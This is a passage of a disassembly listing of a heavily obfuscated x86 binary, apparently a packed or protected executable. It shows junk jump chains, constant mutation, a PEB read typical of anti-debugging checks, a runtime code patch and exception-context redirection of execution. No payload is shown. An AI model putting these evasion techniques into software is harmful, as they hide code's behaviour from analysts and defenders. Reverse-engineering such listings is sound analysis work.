loc_4511EA:				; CODE XREF: sub_43BD2F+8j
		jnz	loc_43ACE9
		jmp	loc_44AA4F
; END OF FUNCTION CHUNK	FOR sub_43BD2F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4427AE

loc_4511F5:				; CODE XREF: sub_4427AE-2AC5j
		xor	esi, 39ABDA48h
		sub	eax, esi
		pop	esi
		rol	eax, 16h
		xor	eax, 0B548B4B3h

loc_451207:				; CODE XREF: dviuq5id:loc_44FAF6j
		push	esi
		push	0F30EA6E2h

loc_45120D:				; CODE XREF: sub_44297E:loc_440416j
		jmp	loc_442410
; END OF FUNCTION CHUNK	FOR sub_4427AE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446682

loc_451212:				; CODE XREF: sub_446682:loc_452351j
		lea	eax, nullsub_7
		mov	byte ptr [eax],	0C3h
		jmp	loc_44E5B7
; END OF FUNCTION CHUNK	FOR sub_446682

; =============== S U B	R O U T	I N E =======================================



sub_451220	proc near		; CODE XREF: sub_419590+19p
					; sub_451220+5j
					; DATA XREF: ...
		call	sub_4535DC
		jmp	ds:off_41D064
sub_451220	endp

; ---------------------------------------------------------------------------

loc_45122B:				; CODE XREF: dviuq5id:004573B3j
		jmp	loc_43ABF2
; ---------------------------------------------------------------------------

loc_451230:				; DATA XREF: sub_4560AC+1477o
		call	sub_43CCD1
; START	OF FUNCTION CHUNK FOR sub_43B2BA

loc_451235:				; CODE XREF: sub_43B2BA:loc_452923j
		jmp	loc_44B417
; END OF FUNCTION CHUNK	FOR sub_43B2BA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45383B

loc_45123A:				; CODE XREF: sub_45383B-BA50j
					; dviuq5id:0045290Cj
		jnz	loc_45595A
		mov	eax, large fs:30h
		jmp	loc_450AA1
; END OF FUNCTION CHUNK	FOR sub_45383B
; ---------------------------------------------------------------------------
		mov	ds:dword_41D17C, eax
		lea	eax, nullsub_336
		call	sub_458C6E
; START	OF FUNCTION CHUNK FOR sub_452209

loc_45125D:				; CODE XREF: sub_452209-7309j
		jmp	sub_453642
; END OF FUNCTION CHUNK	FOR sub_452209
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454142

loc_451262:				; CODE XREF: sub_454142-D9Dj
		jge	loc_440D14
		sbb	eax, 7A9F5FACh
		jmp	loc_44067F
; END OF FUNCTION CHUNK	FOR sub_454142
; ---------------------------------------------------------------------------

loc_451273:				; CODE XREF: dviuq5id:00459782j
		sub	esi, 7B5F703Fh
		jmp	loc_44CEB5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442913

loc_45127E:				; CODE XREF: sub_442913+60F8j
		jg	loc_4431A2
		add	ecx, 5D6DE503h
		jmp	loc_43E440
; END OF FUNCTION CHUNK	FOR sub_442913
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_45128F:				; CODE XREF: sub_43FA59+8C2Dj
		add	edx, ecx
		cmp	esi, 0D6E611D7h
		jmp	loc_44982B
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4436E3

loc_45129C:				; CODE XREF: sub_4436E3:loc_4489D2j
		pop	edx
		retn
; END OF FUNCTION CHUNK	FOR sub_4436E3
; ---------------------------------------------------------------------------

loc_45129E:				; CODE XREF: dviuq5id:0044CD51j
		jmp	loc_458986
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4497C3

loc_4512A3:				; CODE XREF: sub_4497C3+8j
		jmp	loc_4571DC
; END OF FUNCTION CHUNK	FOR sub_4497C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459385

loc_4512A8:				; CODE XREF: sub_459385-EAE3j
		rol	eax, 0Fh
		push	eax
		call	sub_44E3BA
		retn
; END OF FUNCTION CHUNK	FOR sub_459385
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CFBC

loc_4512B2:				; CODE XREF: sub_44CFBC-F11Bj
		jmp	loc_4498F5
; END OF FUNCTION CHUNK	FOR sub_44CFBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448FC7

loc_4512B7:				; CODE XREF: sub_448FC7-E5C4j
		jmp	loc_44E884
; END OF FUNCTION CHUNK	FOR sub_448FC7

; =============== S U B	R O U T	I N E =======================================



sub_4512BC	proc near		; CODE XREF: sub_453654-F927p
					; sub_448B23+7p ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043CD01 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00442CB8 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00444EBA SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044B391 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044BA63 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0044C11B SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0044FF5A SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0045093F SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00450F16 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 004519EC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0045604B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004563DE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004576D1 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00458E87 SIZE 00000005 BYTES

		jo	sub_450E57
		call	sub_4460D5

loc_4512C7:				; CODE XREF: sub_458B72+1B05j
		jmp	loc_45093F
sub_4512BC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44119E

loc_4512CC:				; CODE XREF: sub_44119E+13j
		jmp	loc_43C674
; END OF FUNCTION CHUNK	FOR sub_44119E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A813

loc_4512D1:				; CODE XREF: sub_43A813+Aj
		jmp	loc_45938E
; END OF FUNCTION CHUNK	FOR sub_43A813

; =============== S U B	R O U T	I N E =======================================



sub_4512D6	proc near		; DATA XREF: sub_45A587+7o
		jnz	loc_43FB17
		mov	eax, [ebp-8]
		shl	eax, 3
		call	sub_44BE59
sub_4512D6	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_43C2DA

loc_4512E7:				; CODE XREF: sub_43C2DA+D5FEj
		jmp	sub_454E7C
; END OF FUNCTION CHUNK	FOR sub_43C2DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CB4C

loc_4512EC:				; CODE XREF: sub_43CB4C+F66j
		jmp	loc_456019
; END OF FUNCTION CHUNK	FOR sub_43CB4C
; ---------------------------------------------------------------------------

loc_4512F1:				; CODE XREF: dviuq5id:0044AF0Fj
		push	498178B6h

loc_4512F6:				; CODE XREF: dviuq5id:00454CDBj
		pop	edx
		and	edx, 295347B9h
		xor	edx, 7DD9B670h
		sub	eax, edx
		pop	edx
; START	OF FUNCTION CHUNK FOR sub_43AE68

loc_451306:				; CODE XREF: sub_43AE68:loc_4476F4j
		call	sub_44E01E
; END OF FUNCTION CHUNK	FOR sub_43AE68
; START	OF FUNCTION CHUNK FOR sub_448FC7

loc_45130B:				; CODE XREF: sub_448FC7-8FEj
					; dviuq5id:loc_44DC62j
		jmp	loc_43A913
; END OF FUNCTION CHUNK	FOR sub_448FC7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CB4C

loc_451310:				; CODE XREF: sub_43CB4C+7352j
		jmp	nullsub_288
; END OF FUNCTION CHUNK	FOR sub_43CB4C
; ---------------------------------------------------------------------------

loc_451315:				; CODE XREF: dviuq5id:0043F468j
		jmp	loc_4428C8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A160

loc_45131A:				; CODE XREF: sub_43A160+17j
		jl	loc_448CCE
		cmp	ebp, ebx
		jmp	loc_4449D3
; END OF FUNCTION CHUNK	FOR sub_43A160
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4492F0

loc_451327:				; CODE XREF: sub_4492F0:loc_4464E0j
		cmp	edi, 620E49F4h
		jmp	loc_441ADC
; END OF FUNCTION CHUNK	FOR sub_4492F0
; ---------------------------------------------------------------------------

loc_451332:				; CODE XREF: dviuq5id:004479FFj
		call	sub_453642
		mov	ds:off_41D084, eax
		lea	eax, sub_44358D
		push	offset sub_455C77
		jmp	locret_45029F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A887

loc_45134D:				; CODE XREF: sub_43A887:loc_4442ACj
		jnz	loc_445ED4
		jmp	loc_43A121
; END OF FUNCTION CHUNK	FOR sub_43A887
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451FE0

loc_451358:				; CODE XREF: sub_451FE0+Ej
		jnz	loc_44EE74
		jmp	loc_4505FB
; END OF FUNCTION CHUNK	FOR sub_451FE0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_150. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C4E2

loc_451364:				; CODE XREF: sub_44C4E2-445Dj
		jmp	loc_458DFF
; END OF FUNCTION CHUNK	FOR sub_44C4E2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447C0B

loc_451369:				; CODE XREF: sub_447C0B-426Bj
		jmp	loc_448552
; END OF FUNCTION CHUNK	FOR sub_447C0B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CFBC

loc_45136E:				; CODE XREF: sub_44CFBC+Cj
		jnz	loc_44242D
		jmp	loc_44F4D1
; END OF FUNCTION CHUNK	FOR sub_44CFBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4560CA

loc_451379:				; CODE XREF: sub_4560CA+18j
		add	ebx, 755E563Bh
		xchg	ebx, [esp+0]

loc_451382:				; CODE XREF: dviuq5id:loc_44D6D7j
		jmp	sub_44D2A8
; END OF FUNCTION CHUNK	FOR sub_4560CA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446544

loc_451387:				; CODE XREF: sub_446544:loc_439DD0j
		push	eax
		push	edx
		push	335AAED0h
		pop	edx
		and	edx, 35008407h
		add	edx, 9CD30AC7h
		jmp	loc_440772
; END OF FUNCTION CHUNK	FOR sub_446544
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444E6D

loc_4513A0:				; CODE XREF: sub_444E6D+7j
		shr	eax, 16h
		push	offset sub_44FE77
		jmp	loc_44B6CC
; END OF FUNCTION CHUNK	FOR sub_444E6D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4551F9

loc_4513AD:				; CODE XREF: sub_4551F9:loc_447C1Ej
		push	629DFAA3h
		pop	ecx
		or	ecx, 1BD85F1Ah
		test	ecx, 100000h
		jmp	loc_44EF43
; END OF FUNCTION CHUNK	FOR sub_4551F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450519

loc_4513C4:				; CODE XREF: sub_450519-3869j
		ror	eax, 1Bh
		popf
		and	ebp, 735D87Eh
		not	ecx

loc_4513D0:				; CODE XREF: sub_450519:loc_44BA0Ej
		cmp	dword ptr [ebp-10h], 0
		setnz	byte ptr [ebp-5]
; END OF FUNCTION CHUNK	FOR sub_450519
; START	OF FUNCTION CHUNK FOR sub_43C2DA

loc_4513D8:				; CODE XREF: sub_43FDFB-44F6j
					; sub_43C2DA+8j ...
		push	edi
		call	sub_44C6B8

loc_4513DE:				; CODE XREF: sub_44A6A4-900Aj
		jmp	nullsub_131
; END OF FUNCTION CHUNK	FOR sub_43C2DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454117

loc_4513E3:				; CODE XREF: sub_454117-14A8Aj
		jmp	loc_45507B
; END OF FUNCTION CHUNK	FOR sub_454117
; ---------------------------------------------------------------------------
		push	edi
		mov	edi, ecx
		xchg	edi, [esp]
		mov	ecx, [esp+10h]
		mov	dword ptr [ecx], 10001h
		lea	eax, sub_44A3E1
		mov	[ecx+0B8h], eax
		xchg	eax, [esp]
		jmp	loc_440A27
; ---------------------------------------------------------------------------
		cmp	ebp, esi
		jmp	loc_449D22
; ---------------------------------------------------------------------------

locret_451413:				; CODE XREF: dviuq5id:loc_440F51j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_451414:				; CODE XREF: sub_43FA59+715Aj
		jmp	loc_448937
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------

loc_451419:				; CODE XREF: dviuq5id:00440C38j
		mov	esi, eax
		push	0F93088C5h
		jmp	loc_43C2A3
; ---------------------------------------------------------------------------
		ror	esi, 1Ch
		pop	edi
		jmp	sub_44F413
; ---------------------------------------------------------------------------
		test	al, al
		jz	loc_44F35D
		jmp	loc_44817A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BDAE

loc_45143B:				; CODE XREF: sub_43BDAE:loc_445785j
		add	esi, 9A548DA4h
		mov	[esi], eax
		pop	esi
		call	sub_43F77C

loc_451449:				; CODE XREF: sub_4510E7+204Cj
		jmp	loc_4422D0
; END OF FUNCTION CHUNK	FOR sub_43BDAE
; ---------------------------------------------------------------------------
		sub	edi, esi
		jmp	sub_4582AD
; ---------------------------------------------------------------------------
		jmp	loc_4427F1
; ---------------------------------------------------------------------------

loc_45145A:				; CODE XREF: dviuq5id:00439B9Aj
					; dviuq5id:00445F05j ...
		jb	loc_43B9E8
		test	eax, 2
		jz	loc_44972F
		jmp	loc_4545CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B3A0

loc_451470:				; CODE XREF: sub_43B3A0:loc_455D79j
		cmp	al, 0A4h
		jz	loc_441963
		jmp	loc_44FEFD
; END OF FUNCTION CHUNK	FOR sub_43B3A0

; =============== S U B	R O U T	I N E =======================================



sub_45147D	proc near		; DATA XREF: sub_456253-F2Bo

; FUNCTION CHUNK AT 0043A57C SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0043C820 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0043E529 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004403D7 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00452AD1 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00457CCA SIZE 00000023 BYTES

		add	eax, 33272401h
		push	ebx
		push	88FD2A23h
		pop	ebx
		jmp	loc_457CCA
sub_45147D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_45148F	proc near		; CODE XREF: sub_4525D0-10544j

; FUNCTION CHUNK AT 00447CF8 SIZE 00000005 BYTES

		push	ebx
		jl	loc_43B023
		pushf
		jmp	loc_447CF8
sub_45148F	endp

; ---------------------------------------------------------------------------

loc_45149C:				; CODE XREF: dviuq5id:004421D9j
		ja	loc_43EB14
		rol	ebx, 1Bh

loc_4514A5:				; CODE XREF: dviuq5id:loc_4421C8j
		add	ebx, 0FFF2BBF6h
		xchg	ebx, [esp]
		mov	eax, [ebp+8]
		push	eax
		call	sub_446CFB
		cmp	dword ptr [ebp-0Ch], 0
		jmp	loc_449836
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A015

loc_4514C0:				; CODE XREF: sub_44A015-4B9Ej
		pop	esi
		rol	eax, 1Ah

loc_4514C4:				; CODE XREF: dviuq5id:00453DE2j
		sub	eax, 69469208h
		push	ebx
		jmp	loc_44E305
; END OF FUNCTION CHUNK	FOR sub_44A015
; ---------------------------------------------------------------------------

loc_4514D0:				; CODE XREF: dviuq5id:loc_44E70Fj
		or	eax, 92D19EE4h
		rol	eax, 4
		xor	eax, 7511F837h
		add	eax, ebp
		add	eax, 0E597E900h
		mov	eax, [eax]
		jmp	loc_44E72D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A94D

loc_4514EE:				; CODE XREF: sub_44A94D+21j
		jnz	loc_453BC1
		push	ebp
		ja	loc_4517B6
		jmp	loc_453BC1
; END OF FUNCTION CHUNK	FOR sub_44A94D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445498

loc_451500:				; CODE XREF: sub_445498:loc_44684Bj
		jnp	sub_43F6CD

loc_451506:				; CODE XREF: sub_445498:loc_44259Fj
		push	0D6636301h
		pop	eax
		and	eax, 27D3FFFFh
		xor	eax, 73281427h
		add	eax, ebp
		add	eax, 8A9488B6h
		push	ebp
		jmp	loc_459101
; END OF FUNCTION CHUNK	FOR sub_445498
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CF31

loc_451526:				; CODE XREF: sub_43CF31:loc_440BB3j
		jz	sub_455470
		jmp	loc_4527A9
; END OF FUNCTION CHUNK	FOR sub_43CF31
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446B53

loc_451531:				; CODE XREF: sub_446B53:loc_439563j
		xchg	ebx, [esp+4+var_4]
		jmp	loc_43D989
; END OF FUNCTION CHUNK	FOR sub_446B53
; ---------------------------------------------------------------------------
		mov	eax, 0FFB060E7h
		push	ebx
		push	217CBED3h
		pop	ebx
		or	ebx, 5A465748h
		jmp	loc_4426A2
; ---------------------------------------------------------------------------
		push	6DB39792h
		pop	eax
		and	eax, 4754AA48h
		sub	eax, 98E68BE2h
		xor	eax, 7C663EBEh
		rol	eax, 6
		add	eax, 0DD592A43h
		jmp	loc_453709
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AEAA

loc_451576:				; CODE XREF: sub_43AEAA:loc_444CF9j
		push	eax
		push	ecx
		call	sub_43F623

loc_45157D:				; CODE XREF: dviuq5id:00457001j
		jmp	loc_450B39
; END OF FUNCTION CHUNK	FOR sub_43AEAA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AE68

loc_451582:				; CODE XREF: sub_43AE68+1B987j
		jmp	loc_44BF74
; END OF FUNCTION CHUNK	FOR sub_43AE68
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449AC6

loc_451587:				; CODE XREF: sub_449AC6+8441j
		jmp	loc_44F80C
; END OF FUNCTION CHUNK	FOR sub_449AC6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FF18

loc_45158C:				; CODE XREF: sub_43FF18+Aj
		jmp	loc_43BF78
; END OF FUNCTION CHUNK	FOR sub_43FF18
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439013

loc_451591:				; CODE XREF: sub_439013:loc_44D54Fj
		xor	edx, edx
		push	edx

loc_451594:				; CODE XREF: sub_44CC63:loc_458CFAj
		push	eax
		mov	eax, [ebp-1Ch]
		shl	eax, 2
		cdq
		jmp	loc_43B02D
; END OF FUNCTION CHUNK	FOR sub_439013
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C03F

loc_4515A1:				; CODE XREF: sub_43C03F:loc_445078j
		or	edi, ecx
		jmp	loc_451BBD
; END OF FUNCTION CHUNK	FOR sub_43C03F
; ---------------------------------------------------------------------------

loc_4515A8:				; CODE XREF: dviuq5id:0044C98Fj
		xchg	esi, [esp]
		jmp	loc_457DF4
; ---------------------------------------------------------------------------

loc_4515B0:				; DATA XREF: dviuq5id:0043BDF4o
		push	0DADA6392h
; START	OF FUNCTION CHUNK FOR sub_43E095

loc_4515B5:				; CODE XREF: sub_43E095:loc_451BA5j
		pop	ecx
		xor	ecx, 2FBBB0B2h
		add	ecx, 0BC79CE92h
		popf
		sub	eax, ecx
		pop	ecx
		ror	eax, 5
		jmp	loc_4435EB
; END OF FUNCTION CHUNK	FOR sub_43E095
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E491

loc_4515CE:				; CODE XREF: sub_44E491-BA37j
		or	eax, 0F541474Ch
		and	eax, 0E90E7989h
		or	eax, 5F9072B7h
		add	eax, 85827DC7h

loc_4515E6:				; CODE XREF: dviuq5id:loc_452DBDj
		jmp	loc_45A510
; END OF FUNCTION CHUNK	FOR sub_44E491

; =============== S U B	R O U T	I N E =======================================



sub_4515EB	proc near		; DATA XREF: sub_449485:loc_455B83o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043D066 SIZE 00000014 BYTES

		add	ecx, 0D0B52A55h
		mov	ecx, [ecx]
		and	ecx, 7
		mov	al, 1
		call	sub_448B3E

loc_4515FD:				; DATA XREF: sub_451F3E+2o
		push	ebx
		push	979A8DACh
		pop	ebx
		add	ebx, 0B409D696h
		and	ebx, 0C4B685D1h
		jmp	loc_43D066
sub_4515EB	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CB4C

loc_451615:				; CODE XREF: sub_43CB4C+11j
		cmp	dword ptr [eax-14h], 4
		jnz	loc_449A63
		mov	eax, [ebp+8]
		cmp	dword ptr [eax-4], 4
		jnz	loc_449A63
		jmp	loc_450EE2
; END OF FUNCTION CHUNK	FOR sub_43CB4C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F4F8

loc_451631:				; CODE XREF: sub_43F4F8+1444Dj
		and	eax, 0E86D1C17h
		add	eax, 7AB10B55h
		or	eax, 0E7867E70h
		xor	eax, 0F8C6A5C1h
		jmp	loc_457C6F
; END OF FUNCTION CHUNK	FOR sub_43F4F8
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_123. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_45164F:				; CODE XREF: dviuq5id:0043E4CEj
					; dviuq5id:0044AE7Fj
		xor	ecx, 57FAFADEh
		add	ecx, 3E7D6115h
; START	OF FUNCTION CHUNK FOR sub_43E6A7

loc_45165B:				; CODE XREF: sub_43E6A7+165D3j
		xchg	ecx, [esp+0]
		jmp	nullsub_18
; END OF FUNCTION CHUNK	FOR sub_43E6A7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459385

loc_451663:				; CODE XREF: sub_459385-A8A3j
		jb	loc_448CBD
		push	edi
		push	0BC4402E7h
		jmp	loc_445385
; END OF FUNCTION CHUNK	FOR sub_459385
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439013

loc_451674:				; CODE XREF: sub_439013+F784j
		or	eax, 0B273F0B1h
		xor	eax, 6D571B6h
		and	eax, 0A01B4989h
		or	eax, 0AF0B35F0h
		xor	eax, 9F2D006Bh
		jmp	loc_43E873
; END OF FUNCTION CHUNK	FOR sub_439013
; ---------------------------------------------------------------------------

loc_451697:				; CODE XREF: dviuq5id:00453759j
		jnb	loc_43D930

; =============== S U B	R O U T	I N E =======================================



sub_45169D	proc near		; CODE XREF: sub_4582AD-1025Dp

; FUNCTION CHUNK AT 00439020 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00439FE7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043A582 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043B04B SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0043B781 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0043FFBC SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00441403 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441B7D SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00443C47 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 004440B7 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0044C615 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044D51C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00452E05 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00456782 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00457BB5 SIZE 00000013 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		add	eax, ebp
		jmp	loc_43FFBC
sub_45169D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448FC7

loc_4516A8:				; CODE XREF: sub_448FC7:loc_444585j
		and	ebx, 45CC5B67h
		or	ebx, 0ADA1A8B5h
		cmp	ebx, 1E99CC8Ah
		jmp	loc_439034
; END OF FUNCTION CHUNK	FOR sub_448FC7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_4516BF:				; CODE XREF: sub_43FA59+15966j
		jz	loc_449831
		jmp	loc_4550ED
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4477D7

loc_4516CA:				; CODE XREF: sub_4477D7-42F1j
		push	ecx
		push	0B7778C9Eh
		pop	ecx
		rol	ecx, 0Eh
		test	ecx, 40000000h
		jmp	loc_43EB07
; END OF FUNCTION CHUNK	FOR sub_4477D7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FDFB

loc_4516DF:				; CODE XREF: sub_44B2EA-FFBAj
					; sub_43FDFB+C1E5j
		push	0D67793F4h
		jl	loc_43CB86
		jmp	loc_445EB1
; END OF FUNCTION CHUNK	FOR sub_43FDFB
; ---------------------------------------------------------------------------

loc_4516EF:				; DATA XREF: sub_44D5EB:loc_44601Bo
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		call	sub_440D0D
		call	sub_4594EB
; START	OF FUNCTION CHUNK FOR sub_458A79

loc_4516FE:				; CODE XREF: sub_458A79+Fj
		jmp	loc_439FC4
; END OF FUNCTION CHUNK	FOR sub_458A79
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448064

loc_451703:				; CODE XREF: sub_448064+Bj
		jmp	nullsub_502
; END OF FUNCTION CHUNK	FOR sub_448064
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EB11

loc_451708:				; CODE XREF: sub_43EB11:loc_454E95j
		jb	loc_43ED3C
		shr	edx, 13h
		push	ebx
		jmp	loc_455AFD
; END OF FUNCTION CHUNK	FOR sub_43EB11
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441DDA

loc_451717:				; CODE XREF: sub_441DDA-1CD4j
		jb	loc_4410AE

loc_45171D:				; CODE XREF: dviuq5id:004448C8j
		cmp	eax, edx
		jmp	loc_453A57
; END OF FUNCTION CHUNK	FOR sub_441DDA
; ---------------------------------------------------------------------------
		adc	ecx, 77B63954h
		shl	edx, 0Eh
		jmp	sub_442C47
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FDFB

loc_451732:				; CODE XREF: sub_43FDFB-3C0Cj
		jz	loc_45A461
		jmp	loc_444B5E
; END OF FUNCTION CHUNK	FOR sub_43FDFB
; ---------------------------------------------------------------------------

loc_45173D:				; CODE XREF: dviuq5id:00445E9Cj
		jge	loc_458B3B
; START	OF FUNCTION CHUNK FOR sub_453D79

loc_451743:				; CODE XREF: sub_453D79:loc_43B10Bj
		sub	eax, 46449BC0h
		rol	eax, 0Ch
		call	sub_44A44C

loc_451751:				; CODE XREF: dviuq5id:00443821j
		jz	loc_44FD7F
		jmp	loc_444A14
; END OF FUNCTION CHUNK	FOR sub_453D79
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D181

loc_45175C:				; CODE XREF: sub_43D181:loc_442C6Fj
		jz	loc_457805
		jmp	loc_43B044
; END OF FUNCTION CHUNK	FOR sub_43D181

; =============== S U B	R O U T	I N E =======================================



sub_451767	proc near		; DATA XREF: sub_455FF3+5o

; FUNCTION CHUNK AT 004552F7 SIZE 00000005 BYTES

		call	sub_449EB7
		push	eax
		ror	eax, 0Fh
		push	edx
		push	offset sub_44D6FE
		jmp	loc_4552F7
sub_451767	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454094

loc_45177B:				; CODE XREF: sub_454094:loc_453D15j
		add	eax, 0BDD49E32h
		add	eax, ebp
		add	eax, 0A22AD8A6h
		mov	eax, [eax]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_43B823
		jmp	loc_442578
; END OF FUNCTION CHUNK	FOR sub_454094
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448FC7

loc_451799:				; CODE XREF: sub_448FC7+A5C5j
		adc	esi, 93AAA219h
		popf
		jnb	loc_456014
		jmp	loc_44BC54
; END OF FUNCTION CHUNK	FOR sub_448FC7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A54F

loc_4517AB:				; CODE XREF: sub_43A54F:loc_43F93Bj
		jz	loc_45525A
; END OF FUNCTION CHUNK	FOR sub_43A54F
; START	OF FUNCTION CHUNK FOR sub_4411C6

loc_4517B1:				; CODE XREF: sub_4411C6+15182j
		jmp	loc_459DE4
; END OF FUNCTION CHUNK	FOR sub_4411C6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A94D

loc_4517B6:				; CODE XREF: sub_43CDF6+Aj
					; sub_44A94D+6BA8j
		jmp	loc_43F9FE
; END OF FUNCTION CHUNK	FOR sub_44A94D
; ---------------------------------------------------------------------------
		test	edi, ecx
		jmp	loc_440016
; ---------------------------------------------------------------------------

loc_4517C2:				; CODE XREF: dviuq5id:00446717j
		jz	loc_45791D
; START	OF FUNCTION CHUNK FOR sub_458D9A

loc_4517C8:				; CODE XREF: sub_458D9A+Dj
		jmp	loc_452275
; END OF FUNCTION CHUNK	FOR sub_458D9A
; ---------------------------------------------------------------------------

loc_4517CD:				; CODE XREF: dviuq5id:0044E177j
		jmp	sub_4535DC
; ---------------------------------------------------------------------------
